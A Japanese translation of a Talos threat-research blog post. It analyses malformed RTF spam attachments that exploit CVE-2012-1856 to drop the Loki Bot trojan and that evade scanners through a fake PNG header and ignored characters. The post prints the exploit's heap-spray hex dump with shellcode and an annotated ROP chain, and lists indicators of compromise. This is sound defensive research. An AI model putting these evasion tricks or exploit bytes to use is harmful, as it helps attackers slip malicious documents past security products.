Cisco Japan Blog
Share

不正な RTF ファイルがセキュリティ エンジンによる検出を無効にする仕組み


2017年3月29日


概要

Talos では、よく知られている Loki Bot 型トロイの木馬を利用した新しいスパム キャンペーンを発見しました。感染ベクトル自体は古いエクスプロイト(CVE-2012-1856)を利用した RTF ドキュメントですが、もっとも興味深い部分は RTF ドキュメントに仕込まれた巧妙な手口です。不正な RTF ドキュメントには、セキュリティ エンジンとパーサーを無効にするためのコードが含まれており、アンチウイルスやネットワーク セキュリティ デバイスなどのコンテンツ検査デバイスを回避する狙いがあります。VirusTotal によると、最近のスパム キャンペーンで悪意のある RTF ドキュメントを当初から検出できたのは、45 種類のセキュリティ エンジンのうち 3 種類にすぎません。

この脆弱性は既に知られているにも関わらず、多くのセキュリティ製品では攻撃を特定できていません。それらの製品では RTF 形式を正しく分類できず、RTF ファイル内に埋め込まれた OLE ドキュメントをスキャンできないことが理由です。oletools の rtfobj.py といったオープン ソースのパーサーでさえ、埋め込まれた OLE を抽出するのは困難です。

本記事では、RTF ファイルを不正に変更してセキュリティ保護を回避する手口について解説します。

スパムの例

スパム キャンペーンで利用されるメールは多種多様です。多くの電子メールでは共通の「請求書」添付ファイルを含みますが、今回の例のように、一部の電子メールでは手口がさらに高度化しています。

 

不正な RTF

本記事で解説する分析サンプルには、66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f の SHA256 が含まれています。

RTF ファイル形式について

RTF ドキュメントは Microsoft 社popup_iconが開発した独自のファイル形式です。ここで主な問題になるのは、「オブジェクト」の {\objdata HEXA} サブパートです。このデータ ブロックにより、RTF ドキュメント内に OLE オブジェクトを含めることができます。データは OLE の16進値で表されます。たとえば、次のようになります。

{\objdata
dde00000
00000000
00000000
576f726400446f63756d656e74003132
00000000
00000000
00c20000
d0cf11e0a1b11ae1000000000000000000000000000000003e00 … }

ファイル ヘッダの変更

RTF ドキュメントで最初に変更された部分はヘッダーです。Microsoft のドキュメンテーションによると、RTF ドキュメントは “{\rtN” で始まる必要があります(N は RTF バージョン)。悪意のある RTF ドキュメントのヘッダーは、次のようになります。

このドキュメントには有効なヘッダーが含まれていないだけでなく、PNG 画像のヘッダーも含まれています。この手口により、いくつかのセキュリティ製品ではファイルの種類を正しく検出できません。

無視される 16 進数値の追加

次の変更点は、無視される 16 進値を追加することです。たとえば、次のスニペットでは 0x0d(CR – 改行)文字が追加されていることを見て取れます。

Microsoft のソフトウェアでは、この非 ASCII 文字を単に無視します。この例では、最終値は「000000105000000000」になります。

無視される文字の追加

さらに、無視される ASCII 文字をドキュメントに追加するという手口も採り入れています。

この例では、”.}” および “}”の値は Office によって無視されます。ただし、サードパーティーのパーサーでは文字をデータの末尾として認識し、OLE を切り捨てる可能性もあります。

エクスプロイトとマルウェア

埋め込まれた OLE オブジェクトには、Microsoft OOXML 形式のドキュメントが含まれています。OOXML ドキュメントに含まれている ActiveX XML ファイルは、この脆弱性を特定するのに役立ちます。

1EFB6596-857C-11D1-B16A-00C0F0283628 のクラス ID は、CVE-2012-1856 の脆弱性コンポーネントである MSCOMCTL TabStrip 制御コンポーネントと一致します。

このエクスプロイトは、次のバイナリ BLOB にある古典的なヒープ スプレーです。

00000cf0  cc cc cc cc eb 51 36 7c  eb 51 36 7c 02 2b 37 7c  |.....Q6|.Q6|.+7||
00000d00  01 02 00 00 64 43 34 7c  40 00 00 00 28 1a 35 7c  |....dC4|@...(.5||
00000d10  c7 0f 39 7c 9e 2e 34 7c  0f a4 34 7c dc 50 36 7c  |..9|..4|..4|.P6||
00000d20  a3 15 34 7c 97 7f 34 7c  51 a1 37 7c 4d 8c 37 7c  |..4|..4|Q.7|M.7||
00000d30  30 5c 34 7c 90 90 90 90  90 90 90 90 90 90 90 90  |0\4|............|
00000d40  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000d50  e9 1f 01 00 00 cc cc cc  cc cc cc cc cc cc cc cc  |................|
00000d60  cc cc cc cc cc cc cc cc  cc cc cc cc cc cc cc cc  |................|
*
00000e50  c3 6f 37 7c c3 6f 37 7c  c3 6f 37 7c c3 6f 37 7c  |.o7|.o7|.o7|.o7||
*
00000e70  90 90 90 90 90 90 90 90  d9 eb 9b d9 74 24 f4 5d  |............t$.]|
00000e80  8d 4d 17 ba 47 01 00 00  80 31 12 41 4a 75 f9 23  |.M..G....1.AJu.#|
00000e90  db 76 99 63 22 99 64 1e  99 64 1e bf 99 22 99 64  |.v.c".d..d...".d|
00000ea0  0a 9b e4 f9 4b 72 9b ef  9b e1 44 99 61 2e 99 66  |....Kr....D.a..f|
00000eb0  0c 6a 13 cc 44 99 64 32  13 cc 23 db 5b 53 bf 13  |.j..D.d2..#.[S..|
00000ec0  ca 44 23 e4 1d ac 02 2a  c4 66 1a d3 dc 15 13 c4  |.D#....*.f......|
00000ed0  52 f9 e3 2b 67 12 4c 67  f6 48 9b cd 99 48 36 13  |R..+g.Lg.H...H6.|
00000ee0  e9 74 99 1e 59 99 48 0e  13 e9 99 16 99 13 ea 9b  |.t..Y.H.........|

青で強調表示されたコードは、以前にこちらpopup_iconで紹介した ROP チェーンです。

0x7c3651eb # pop ebp # ret
0x7c3651eb # skip 4 bytes
0x7c372b02 # pop ebx # ret
0x00000201 # 0x201 -> ebx
0x7c344364 # pop edx # ret
0x00000040 # 0x40 -> edx
0x7c351a28 # pop ecx # ret
0x7c390fc7 # &Writable location -> ecx
0x7c342e9e # pop edi # ret
0x7c34a40f # ret -> edi
0x7c3650dc # pop esi # ret
0x7c3415a3 # jmp dword ptr [eax] -> esi
0x7c347f97 # pop eax # ret
0x7c37a151 # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d # pushad # add al,0EFh # ret
0x7c345c30 # push esp # ret

赤色で強調表示されたコードは、NOP スレッドと、それに続くシェルコード(太字)へのジャンプ(オレンジ色)です。

 

シェルコードの目的は次のとおりです。

  • ドキュメントに埋め込まれた実行可能コードをデコードする
  • ドキュメントを %APPDATA%\7B4331\1C8BBC.exe にドロップする
  • 実行可能ファイルを実行する。

バイナリは、コマンドと制御ドメイン(paneltestghelp.xyz)と通信する Loki Bot 型トロイの木馬です。CC へのネットワーク接続のスクリーンショットを次に示します。

まとめ

このキャンペーンは、攻撃の洗練さと革新性が、利用されているエクスプロイトに必ずしも限定されない良い例だと言えます。今回のキャンペーンでは、よく知られている脆弱性が利用されていますが、RTF ファイル形式をよく理解した上で悪意のあるドキュメントを作成していることが分かります。セキュリティ製品による検出を避け、ターゲットがドキュメントを開く可能性を最大限に高めるよう巧妙に偽装されています。

カバレッジ

お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。

image05

Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。

CWSWSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されるマルウェアを検出します。

E メール セキュリティpopup_icon は、攻撃の一環として攻撃者が送りつける、悪意のある電子メールをブロックします。

IPS のネットワーク セキュリティ保護や NGFW には、攻撃者による不正なネットワーク アクティビティを検出できる最新のシグネチャが備わっています。

AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。

Umbrellapopup_icon は悪意のあるアクティビティに関連付けられているドメインの DNS 解決を防止します。

IOC

Networks:

  • hxxp://paneltestghelp.xyz:80/eval/server/readonly/fre.php

 

ドロップされた実行可能ファイルの SHA256:

  • da1a6747a3329c3a317d4bd7ecf029e89bd76192075f84834563103a54bac968
  • 2e65f8fc7901505dd4225ec66cca0ef308f2b6fbe48d37f5055775854bf7a5f8
  • a3c3abcd461d00e1f928e375770e39e3a33f719d7287a2fee661d82ce8de1c56

 

同様の不正変更がなされた、悪意のある RTF ファイル形式の SHA256 サンプル:

  • 7b684ad97bb9f5093e5cfb100352ad2f0ec3dfce63232207daf0aa736d6438c9
  • 14a6e04a60b1bb5f4d0fb3fffa240b7b34bf9c0b8504da19caeb31182510c139
  • 1ae6aa92ce8ee9a2ab78631663fa5a9bdcc14490c4c5fe799b41d26455b5b696
  • 4f2c10b64d4f4b56d56b5a271331c92484b6ddf8c4eb9f56669ed60545a4c06d
  • b1da2cb4fcee52cdc94c06325c339ac11a3fb1e399e1ed5a2a55107f5f64867f
  • 41c4483cfcc0b5a10504aa137ec3824d139663b7ec318d5e1fb6c9f5db8af8f9
  • f07f87ab68482d329eeac5525ea5f189bcd720d2b2d149db61ab81ae04be957a
  • be81741ae3c7c2c5000785a2573c901068a2906054690ac22119ac794aa9e8e2
  • cd16e420fbc39b63de93198cdb1265c1bfe83119c7d4d75d5501465cdd0847f1
  • b330fadeb337e9fb5aa9f8046462e3d1d418946fd6237bc252a80a2d4fb2fff7
  • 629d1afbedd7cc082549d5c3fc3926b6b4e55abc3c07f8d994a791893a2fd530
  • 9f48ce01ac99033c03e9aa983c09fa273eae0e168e55de8cc364311ae4fc88b9
  • dd783bcdbc81bc605cf07545a01273596d4e51b198874253815069cd6708b2fa
  • 59011fa80db84cea54bc6ec7f7bc689d916f04e8df9950b259ad524142225731
  • 7aa0abedd75c46680ac65814d9433a04bb9f6bc6f094d66cc33a918f32dcb2fa
  • ad3af8a7ab469fa930d0873475214c3160f52b17c06f296d6ce9cc6fc92e8a79
  • 89a1264bd7facf02d48aff46724a0215c2fb1974d06451cebefdb2ea7ea9a71a
  • c53bf11adb48a00393c30a0902716e0088f650750349f5966ba3b60a0fa17487
  • 4a7d6c770c5fdbb32534b535efe0324e3bc25a8bcd3551b7fe0ff3610ee81299
  • 6077c3ed4dc67526f89b2c59fc16b389530a73b326f63fff17ae7c824b7770fd
  • 11836837753c754997adf8ccf4fa8ba824e57725f56fbcd3b0d903e1fa30ac5b
  • 737d1468b20dc39300bc2be38285b6482940d2be9ae59b7dc984cf4dc6d82053
  • 415b9e72811cd7c50366d9c9038df02fe3bbfc6446ef42b099d85ea576fbd35d
  • 84a2ded87681e65be35994ea26f4b2287e52438bbeebaac784c291196a6f94c6
  • 9c62f4947a572356f43f71fb55f2b702b78c2e1688c67eff89c36da50137ed21
  • c201e4bb7b68b4655ab7ac85c8a7c93abe2238ec3d24914d86e8a543b6c6abbd
  • 17ae8d128938131ebc944f5d77be7009fd05c8831f88ef3558cc9c00f0633f97
  • dbc97df1e5036ac572d8a247a6b073ab1f1dabd20676443598135c6743534028
  • 79316e4c2601a5721d5d6ada0f152790ad44aa9ac5badf17e12c7825fb1f46aa
  • a406f0208c914ff28f8e30eda539acb6abd23bbdecf704be4b77615a27f62e8d
  • 552fe8b5fd175822d4479552078331dbfb16881fea9514377a802f3cce87ac02
  • 27290fd934092cf1ca2a242e6847665a16771376af8f5c81ef1c851463e77709
  • 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f
  • a0e529ed847b78fd68a871688a7e99e6abc87295c671a3e2d02a61a1e04f5ce9
  • 5c1db6ce5989645bbc8cb8489dee2fb99eba7b4093eaad96cd5a6c692a53c245
  • c343e92d30c1374c631efa8cf612faf5567e8bd66330e1ff58ac9296c3373304
  • ecc9526b380bd109dbcb3d9c4635c1866234d302658758d6ecf4e927a12af9a1
  • 450b2d6741a452d3bff491fb3a40ec8e29cbaf24fb1b400863efe1a7f920543e
  • 99a3939d654e4c424dcf33fbc18c7568d1030981ad1ae8f2a6da2966efbff669
  • e7fc4527e4cb65e05069b871e06226ce9c9669649ed9cfbad2dcb41cdd9fe94c
  • 1d73428619f69cbdfc5158f1682cc304ba6af2a0b425244bcd8c2c432d4a50d7
  • cbb58841ef2179e52fcfb918d085503ccf4482014fa1f0714e11fd667de974a0
  • 44583aca68ce734bccc79d28f666bdc81a1436c257f035875df15a82f35e6910
  • 5872ec86add4892f061cc1fd2478da098645876d0b13d3ce3e789f526c5b8ec8
  • 9eb85367bd59854ccd7b8e13a22deec92bbe746a5de83820d7265055f96da40f
  • 6d33cd5b7cfcc4a55583adbf75f578d71d6aa572e93c5a7392ece4dc8204d0f8
  • 4d46087599b246cd297883341859561b3b1794419c704b167a28c7891ff5d7b1
  • 7c5337250b6a1ede2472e4acc74366e8a425eaf2c36e3805d36200ad560d0feb
  • bc4f30177538628f93d57ae1e59859c50409afefe133956ec801c040ab9253f5
  • 726f170f13b9a24d409c0c4fbf0a14aff0f3cd1662762230bfaf7a8822257880
  • 885877989df73bafd087f7c689eedfa5e2fe3620ab62d6ff57a3394702761751
  • 9f40662ebbd3a848219aa47c149c174c292cea5e62dcc0bd26f12e1bf5ba7d7c
  • 0882c8a38ca485fe9763b0c0c7c5a22c330cebe86101a9e1ffa5a70c4f58faac
  • 156cbbb25240e246a2340e1bca1692b7110277bac30f76dcacd48dd5f2042caa
  • a28c3c075ecfb982e6e3cb237c0eab1308f023e7bcf207d0fd1f2b4f29791074
  • e5de4a14367d1a7b599d7afae07aa66c63941238ff25f4f17dea54db6d8ac350
  • 5d6b52287f4fdefe0621d9fadd83b0531f56811937b023ce49e426e320b372f5
  • 599a60601345bf8fc05f27d35f3c3f2ed80b6e7890d5f33a57f75c09a089356a
  • 194549b3fd0be8a701b8433db1b2cff396a4492c342632fa22d6af89570eff46
  • 673f9469ff150c8c821ea3b5b1cda8175d09719fbd7d1359d334dbf17f74adbe
  • f81be30a7d6792e59f5a0ade225472042c9eb9bf59b03f67e85b0642c16e59ce
  • 5957fe5e38f2b2530569e21f040a92b1fb36816b6d5187d8a0ecf0ba84f36519
  • 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f

 

本稿は 2017年3月23日に Talos Grouppopup_icon のブログに投稿された「How Malformed RTF Defeats Security Enginespopup_icon」の抄訳です。

 

 

Tags:
コメントを書く